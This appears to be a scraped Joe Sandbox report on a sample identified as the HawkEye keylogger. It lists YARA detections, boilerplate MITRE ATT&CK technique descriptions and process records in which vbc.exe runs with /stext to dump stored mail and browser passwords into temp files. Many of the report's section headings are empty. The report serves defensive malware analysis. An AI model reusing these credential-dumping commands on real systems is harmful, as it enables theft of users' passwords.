Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Analysis Process: vbc.exe PID: 6860 Parent PID: 6284

General

Start time:	16:48:03
Start date:	10/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'
Imagebase:	0x400000
File size:	1171592 bytes
MD5 hash:	C63ED21D5706A527419C9FBD730FFB2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000015.00000002.358708597.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: vbc.exe PID: 6852 Parent PID: 6284

General

Start time:	16:48:03
Start date:	10/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'
Imagebase:	0x400000
File size:	1171592 bytes
MD5 hash:	C63ED21D5706A527419C9FBD730FFB2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report FukQGQj7cl

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: HawkEye

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre